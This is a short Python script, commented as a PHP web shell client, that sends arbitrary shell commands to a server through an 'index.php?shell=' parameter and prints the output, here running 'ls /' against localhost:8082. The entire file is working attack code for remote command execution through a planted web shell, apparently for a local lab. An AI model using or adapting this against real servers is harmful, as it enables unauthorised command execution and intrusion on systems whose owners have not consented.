import requests

# php webshell


def attack(host,cmd):
    r = requests.get("http://"+host+"/index.php?shell="+cmd)
    return r.text


if __name__ == '__main__':
    print(attack("localhost:8082","ls /"))